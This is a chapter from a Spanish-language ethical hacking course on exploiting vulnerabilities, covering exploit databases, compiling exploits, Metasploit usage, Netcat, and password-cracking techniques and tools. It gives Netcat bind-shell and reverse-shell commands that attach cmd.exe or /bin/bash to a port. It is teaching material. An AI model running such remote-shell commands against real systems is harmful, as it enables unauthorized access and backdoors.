Capítulo 8 - Explotación de Vulnerabilidades.pdf

20
CIBERTEC Capítulo 8 Capítulo 8 Capítulo 8 Explotación de Vulnerabilidades Al finalizar el capítulo, el alumno podrá: Buscar exploits online Compilar exploits para su uso Utilizar la plataforma de trabajo Metasploit Conocer las técnicas de Password Cracking Temas: 1. Trabajando con Exploits 2. Metasploit 3. La Navaja Suiza del Hacker 4. Password Cracking

Transcript of Capítulo 8 - Explotación de Vulnerabilidades.pdf

Page 1: Capítulo 8 - Explotación de Vulnerabilidades.pdf

Ethical Hacking 131

CIBERTEC

Capítulo 2Capítulo 2Capítulo 8Capítulo 8Capítulo 8

Explotación de Vulnerabilidades

Al finalizar el capítulo, el alumno podrá:

Buscar exploits online

Compilar exploits para su uso

Utilizar la plataforma de trabajo Metasploit

Conocer las técnicas de Password Cracking

Temas: 1. Trabajando con Exploits

2. Metasploit

3. La Navaja Suiza del Hacker

4. Password Cracking

Page 2: Capítulo 8 - Explotación de Vulnerabilidades.pdf

Ethical Hacking 132

CIBERTEC

1. Trabajando con Exploits

Luego de la tarea de análisis de vulnerabilidades se tiene información sobre los principales agujeros de seguridad que ponen en riesgo los sistemas de la red. Además, es necesario informarse sobre la vulnerabilidad para entenderla, saber a qué sistemas afecta, en qué condiciones puede ser explotada y, lo más importante, si existe un exploit público. Un exploit es un programa o técnica utilizada para aprovecharse de una vulnerabilidad específica. Una vez encontrado el exploit hay que revisar el código fuente, para primero confirmar que no es falso (fake) y luego, revisar para qué plataformas ha sido diseñado. En algunos casos será necesario modificar el exploit antes de ejecutarlo. En un proceso de Ethical Hacking los recursos son limitados, especialmente el tiempo, es por eso que la tarea de programar el exploit normalmente, no se da en uno de estos servicios. Hay que tener en cuenta que muchas vulnerabilidades no son reportadas y pueden permanecer sin ser parchadas por años (Ejemplo: Microsoft ms08-067). Estas vulnerabilidades son las llamadas 0day que muchos hackers maliciosos comparten o venden.

Page 3: Capítulo 8 - Explotación de Vulnerabilidades.pdf

Ethical Hacking 133

CIBERTEC

Gráfico 1. Lista de los exploits publicados A continuación se presenta los 2 sitios Web más usados.

1.1 SecurityFocus (www.securityfocus.com)

Es un portal focalizado en seguridad informática en donde se puede encontrar noticias sobre vulnerabilidades, artículos de seguridad y exploits. Es el hogar de la conocida lista Bugtraq. Las vulnerabilidades y los exploits son categorizados según un identificador llamado BID (Bugtraq ID). Además, los exploits pueden ser localizados, a través de la interfaz Web. Además, también es posible encontrar exploits utilizando la técnica Google Hacking mediante algunos operadores de búsqueda; por ejemplo, rpc dom exploit site:securityfocus.com inurl:bid

Page 4: Capítulo 8 - Explotación de Vulnerabilidades.pdf

Ethical Hacking 134

CIBERTEC

1.2 Exploit-db (www.exploit-db.com/) Es la continuación del conocido portal Milw0rm.com, poco conocido por

su base de datos de exploits. Asimismo, cuenta con artículos para la educación en seguridad informática. En Exploit-Db los exploits son categorizados según su vector de ataque: Remoto, Local, DOS, Web.

1.3 Packetstorm (http://www.packetstormsecurity.org/assess/exploits/) Es otro portal donde se pueden encontrar exploits recientes, además de

herramientas de seguridad para fines educativos solamente.

Page 5: Capítulo 8 - Explotación de Vulnerabilidades.pdf

Ethical Hacking 135

CIBERTEC

1.4 Compilando Exploits

Una vez conseguido el código fuente del exploit, es necesario compilarlo o interpretarlo para poder utilizarlo. Por ese motivo, la primera tarea es reconocer el lenguaje de programación con el que el exploit fue escrito. La manera más simple es verificando la extensión del archivo, sin embargo, de no tener extensión, se tendrá que revisar el código fuente para reconocer la sintaxis utilizada. Más allá del reconocimiento del lenguaje, siempre es importante revisar el código fuente para entender lo que hace el exploit y no tan sólo utilizarlo. Dependiendo del lenguaje utilizado, se utilizarán distintos comandos para compilar o interpretar el exploit. Afortunadamente, la consola en linux viene equipada con herramientas para realizar esta tarea. A continuación se muestran los métodos, según el lenguaje de programación.

C

Extensión: .c, .cc gcc exploit.c -o binario ./binario parametros

Perl

Extensión: .pl perl exploit.pl parametros

Python

Extensión: .py python exploit.py parametros

Page 6: Capítulo 8 - Explotación de Vulnerabilidades.pdf

Ethical Hacking 136

CIBERTEC

Ruby

Extensión: .rb ruby exploit.rb parametros

PHP

Extensión: .php php exploit.php parametros

Muchas veces los investigadores que liberan los exploits no los dejan listos, sino con algunas fallas para que no sean utilizados por script kiddies. En esos escenarios, se tendrá que revisar todo el código fuente para encontrar el error y parcharlo, lo que hace más interesante la explotación de la vulnerabilidad.

Page 7: Capítulo 8 - Explotación de Vulnerabilidades.pdf

Ethical Hacking 137

CIBERTEC

2. Metasploit Framework

Es una herramienta integral de software libre para el desarrollo y la ejecución de exploits contra equipos remotos. Su primera aparición fue en el año 2003 utilizando el lenguaje de programación de scripting Perl (hasta la versión 2). Luego fue reescrita totalmente, utilizando el lenguaje Ruby. En octubre del 2009 se anunció la adquisición de Metasploit por Rapid7, una empresa de seguridad que provee soluciones de seguridad. Metasploit es conocido y respetado por liberar algunos de los exploits más sofisticados algunas veces, a tan sólo unas horas de haber sido liberada una vulnerabilidad públicamente. Comparado con herramientas comerciales de elevado precio como CANVAS o Core Impact, Metasploit puede ser utilizado en procesos de Ethical Hacking para la comprobación y explotación de vulnerabilidades. No obstante, al igual que otras herramientas de seguridad, puede ser utilizada para actividades legítimas e ilegales.

Page 8: Capítulo 8 - Explotación de Vulnerabilidades.pdf

Ethical Hacking 138

CIBERTEC

La posición de la herramienta como el framework de desarrollo de exploits, ha logrado que actualmente muchos de los advisories de vulnerabilidades vengan acompañados con un módulo de metasploit listo para su ejecución. Además de contar con 564 (22/06/10) exploits en su base de datos, Metasploit incluye herramientas de fuzzing que permiten a un investigador descubrir vulnerabilidades en software y escribir su exploit asociado.

2.1 Instalación

La instalación de Metasploit requiere de la presencia de varias dependencias, incluido el software para gestión de versiones subversion.

1. Los comandos necesarios para instalar dichas dependencias son: apt-get install ruby libopenssl-ruby libyaml-ruby libdl-ruby

libiconv-ruby apt-get install subversion libreadline-ruby irb ri rubygems 2. Una vez que las dependencias han sido instaladas, baje el código

fuente de la última versión de metasploit desde el siguiente link: http://www.metasploit.com/framework/download/ 3. Luego, ejecute los comandos: tar xf framework-3.X.tar.gz 4. Para desempaquetar el código fuente sudo mkdir -p

/opt/metasploit3 debe crear un directorio en /opt sudo cp -a msf3/ /opt/metasploit3/msf3 5. Copie el contenido al nuevo directorio sudo chown root:root -R /opt/metasploit3/msf3 6. Cambie los permisos para que el directorio pertenezca a root sudo ln -sf /opt/metasploit3/msf3/msf* /usr/local/bin/ 7. Luego, cree enlaces simbólicos de los ejecutables en /usr/local/bin

Para actualizar la versión, se deberá descargar los últimos exploits, payload y auxiliares. svn update /opt/metasploit3/msf3/

Page 9: Capítulo 8 - Explotación de Vulnerabilidades.pdf

Ethical Hacking 139

CIBERTEC

2.2 Uso

Una vez instalado, Metasploit Framework permite interactuar con su funcionalidad a través de 2 interfaces: mediante una consola de comandos, muy parecida a la shell utilizada en linux y a través de una interfaz Web, en donde un servicio Web es levantando en el equipo. Para ingresar a las distintas interfaces se tiene que ejecutar los comandos msfconsole y msfweb, respectivamente. Una vez localizados en la consola, ejecutar el comando help para visualizar la lista de comandos soportados por Metasploit.

Al margen de la interfaz utilizada, los pasos para explotar una vulnerabilidad con Metasploit son los mismos y se presentan a continuación.

a) Elegir el exploit a utilizar: Metasploit cuenta con 564 exploits para

explotar distintas plataformas como: Windows, Linux y Mac. Para mostrar todos los exploits, se ejecuta show exploits y para elegir uno, use nombreExploit.

b) Configurar el exploit: una vez elegido el exploit es necesario

configurar sus opciones (Ip del equipo remoto, el puerto a utilizar, etc.). Para ver todas las opciones, se ejecuta show options.

c) Elegir el Payload: es el código que se ejecutará en el sistema

afectado una vez explotada la vulnerabilidad. Por ejemplo, se puede querer abrir un puerto en el objetivo u obtener una shell reversa o una sesión gráfica con VNC. Para ver todos los payloads disponibles, para el explot específico, se ejecuta show payloads. Sin embargo, se debe recordar que cuando se elige un payload, es posible que nuevas opciones tengan que ser configuradas.

Page 10: Capítulo 8 - Explotación de Vulnerabilidades.pdf

Ethical Hacking 140

CIBERTEC

d) Ejecutar el exploit: una vez configurado todo, se ejecuta el exploit con el comando exploit.

Page 11: Capítulo 8 - Explotación de Vulnerabilidades.pdf

Ethical Hacking 141

CIBERTEC

3. La Navaja Suiza del Hacker

Netcat (http://netcat.sourceforge.net/) es una herramienta liberada bajo una licencia de software libre que permite, a través de la línea de comandos y con una sintaxis sencilla, leer y escribir información en sockets, utilizando los protocolos TCP/IP. Al mismo tiempo, es una poderosa herramienta para la depuración de aplicaciones de red gracias a que puede crear casi cualquier tipo de conexión. Permite conectarse y abrir un puerto TCP/UDP en un equipo (quedando netcat a la escucha como un demonio o servidor), asociar una shell a un puerto en concreto (para conectarse por ejemplo a MS-DOS o al intérprete bash de Linux remotamente). Es posible realizar transferencias de archivos, abrir puertas traseras o backdoors y crear canales encubiertos para la post explotación de un equipo utilizando Netcat. Gracias a su versatilidad y robustez, Netcat es llamado la navaja suiza de los hackers.

Page 12: Capítulo 8 - Explotación de Vulnerabilidades.pdf

Ethical Hacking 142

CIBERTEC

3.1 Parámetros básicos

Parámetro Descripción

-v Verbose, sirve para obtener en pantalla información adicional sobre las conexiones.

-l Listen, modo escucha, sirve para dejar a la escucha en un puerto específico.

-p Port, con este parámetro se define el puerto que entrará en escucha.

-o archivo Dump, hace un dump del tráfico en hexadecimal.

-e Nombre Con este parámetro se define el programa que será ejecutado una vez establecida la conexión.

-h Muestra la ayuda

-u UDP, para realizar conexiones con el protocolo de transporte UDP.

3.2 Transfiriendo Archivos

Netcat puede ser utilizado para la transferencia de archivos de una computadora a otra, a través de la red. Esto se aplica para archivos de texto, así como, para los binarios. Para transferir archivos desde una máquina B hacia A se debe ejecutar lo siguiente: Máquina A: Se deja a Netcat escuchando en un puerto y que redirija cualquier entrada hacia un archivo: nc -lvp 4444 > salida.txt Máquina B: Se conecta al puerto en escucha en la Máquina 1 (en el puerto 4444) y se envía el fichero: nc -vv 192.168.1.1 444 < test.txt

Page 13: Capítulo 8 - Explotación de Vulnerabilidades.pdf

Ethical Hacking 143

CIBERTEC

Una de las características más interesantes de Netcat es la redirección de comandos. Esto significa que Netcat puede tomar un archivo ejecutable y redirigir su entrada, salida e incluso, los mensajes de error hacia un puerto TCP/UDP en vez de la consola por defecto.

3.3 Shell Directa (Puerta Trasera)

En este primer escenario se tiene un equipo A, en el cual, se busca ejecutar comandos, conectado directamente hacia Internet (no RFC 1918) con una ip pública y un equipo B conectado a Internet a través de un Nat. Lo que se hace es abrir un puerto en la máquina A con Netcat y asociar el puerto con el intérprete de comandos, ya sea Windows o Linux. En este caso la máquina A funciona como un servidor esperando conexiones a las que brinda una shell. Máquina A: Para Windows: nc -lvvp 4444 -e cmd.exe Para Linux: nc -lvvp 444 -e /bin/bash Máquina B: nc -v 192.168.1.1 4444

Page 14: Capítulo 8 - Explotación de Vulnerabilidades.pdf

Ethical Hacking 144

CIBERTEC

3.4 Shell Reversa (Firewall Bypass)

Esta vez se tiene al equipo A, en el cual se quiere ejecutar comandos, con una salida a Internet por NAT, es decir, no directamente conectado a Internet. En este escenario, A no puede dejar un puerto a la escucha porque B no podrá conectarse debido al tipo de conexión a Internet. Por lo que B, funciona como servidor y el equipo A “envía” una shell al equipo B gracias a Netcat. Esta técnica lleva el nombre de shell reversa por el sentido de la conexión. Máquina B: nc -lvvp 4444 Máquina A: Para Windows: nc -v 192.168.1.1 4444 -e cmd.exe Para Linux: nc -v 192.168.1.1 4444 -e /bin/bash

Page 15: Capítulo 8 - Explotación de Vulnerabilidades.pdf

Ethical Hacking 145

CIBERTEC

4. Password Cracking

Es el proceso informático por el cual, se intenta conseguir credenciales válidas de una aplicación o sistema mediante distintas técnicas. El propósito de este proceso puede ser válido para recuperar credenciales perdidas u olvidadas, para evaluar la robustez de las credenciales elegidas por los usuarios y justificar la implementación de políticas de gestión de passwords o, en contraste, puede ser malicioso para conseguir acceso no autorizado a un sistema o aplicación. En una auditoría de sistemas o hacking ético, siempre hay una fase en la que se ejecutan ataques contra las contraseñas para realizar una auditoría a las políticas de passwords implementadas en la organización o la falta de éstas.

Page 16: Capítulo 8 - Explotación de Vulnerabilidades.pdf

Ethical Hacking 146

CIBERTEC

4.1 Técnicas de Password Cracking

a) Password Guessing: es el nombre que se utiliza al intento de

obtener credenciales válidas tratando de adivinar contraseñas de un sistema o aplicación. Aunque puede parecer una técnica poco confiable, en muchos casos es exitosa, debido a que la mayoría de usuarios eligen passwords fáciles de recordar. Algunos de los passwords encontrados más comunes son: root, administrador, admin, 1234, 123456, [nombre_de_organización], etc.

b) Password Sniffing: es la técnica que consiste en analizar el tráfico de la red local, en busca de credenciales en texto, plano o cifradas que viajen por ésta. Dado que mucho del tráfico viaja por la red sin ser cifrado, esta técnica puede conseguir credenciales vitales, sin embargo, es necesario tener acceso físico al segmento de red en caso de una red cableada o proximididad, en caso de una red inalámbrica.

c) Ataque por Diccionario: es una técnica de password cracking que

consiste en intentar averiguar una contraseña de un sistema o aplicación probando las palabras de un diccionario previamente establecido. Este tipo de ataque suele ser bastante exitoso, ya que la mayoría de usuarios utilizan palabras existentes en el vocabulario de su lengua como contraseñas, para que éstas sean fáciles de recordar. Los ataques de diccionario tienen pocas probabilidades de éxito con sistemas que emplean contraseñas fuertes con letras en mayúsculas y minúsculas mezcladas con números y con cualquier otro tipo de símbolos. Sin embargo, para la mayoría de los usuarios recordar contraseñas tan complejas resulta complicado.

Page 17: Capítulo 8 - Explotación de Vulnerabilidades.pdf

Ethical Hacking 147

CIBERTEC

d) Ataque de Fuerza Bruta: es la técnica de recuperar una contraseña que consiste en generar y probar todas las combinaciones posibles, basándose en un alfabeto de caracteres (letras, números, símbolos, etc.) hasta encontrar credenciales válidas que logren acceso al sistema. Los ataques por fuerza bruta, dado que utilizan el método de prueba y error, son muy costosos en tiempo computacional. Este tipo de ataque, teóricamente, no puede ser resistido por ningún sistema, siempre y cuando se disponga del tiempo suficiente. Así, las claves lo suficientemente largas, ponen una limitación física al éxito de estos ataque, pero no lógica. Estas limitaciones físicas son dinámicas y van disminuyendo a medida que los computadores van alcanzando más capacidad de cómputo.

e) Ataque Híbrido: es una mezcla entre un ataque por diccionario y fuerza bruta. Parte utilizando palabras de un diccionario a las cuales se van añadiendo combinaciones.

Page 18: Capítulo 8 - Explotación de Vulnerabilidades.pdf

Ethical Hacking 148

CIBERTEC

4.2 Herramientas

a) THC Hydra ( http://freeworld.thc.org/thc-hydra/ )

Es una aplicación de software libre diseñada para realizar ataques de passwords, desarrollada por el grupo de hacking alemán The Hackers Choice. Hydra es una veloz herramienta para ataques de autenticación vía red que puede realizar ataques de diccionario y fuerza bruta a más de 30 protocolos incluidos: telnet, ftp, http, https, smb, ssh, motores de base de datos, etc.

b) Medusa ( http://www.foofus.net/~jmk/medusa/medusa.html ) Es una herramienta veloz y modular de software libre que se aprovecha de la programación en paralelo, para realizar tareas de password cracking a nivel de red. Medusa fue programada por el grupo de Foofus.net y tiene módulos que soportan los siguientes servicios: CVS, FTP, HTTP, IMAP, MS-SQL, MySQL, NCP (NetWare), PcAnywhere, POP3, PostgreSQL, rexec, rlogin, rsh, SMB, SMTP (VRFY), SNMP, SSHv2, SVN, Telnet, VmAuthd y VNC.

c) Lopthcrack ( http://www.l0phtcrack.com/ )

Es una herramienta comercial para la auditoria y recuperación de passwords en plataformas Windows y GNU/Linux. Para realizar esta tarea, se basa en los hashes guardados por el sistema operativo. También tiene la capacidad de analizar el tráfico (sniffear) en busca de credenciales. Con Lopthcrack se pueden realizar ataques por diccionario y fuerza bruta.

Page 19: Capítulo 8 - Explotación de Vulnerabilidades.pdf

Ethical Hacking 149

CIBERTEC

d) Cain & Abel ( http://www.oxid.it/cain.html )

Es una herramienta para plataformas Windows que soporta una gran cantidad de funcionalidades partiendo desde un analizador de paquetes hasta un password cracker. Permite recuperar credenciales analizando el tráfico de red, crackear passwords con ataques de diccionario, fuerza bruta y critptoanálisis.

Nota: Una lista con las 10 mejores herramientas de Password Cracking puede ser encontrada en: http://sectools.org/crackers.html

Page 20: Capítulo 8 - Explotación de Vulnerabilidades.pdf

Ethical Hacking 150

CIBERTEC

Laboratorio Nº 8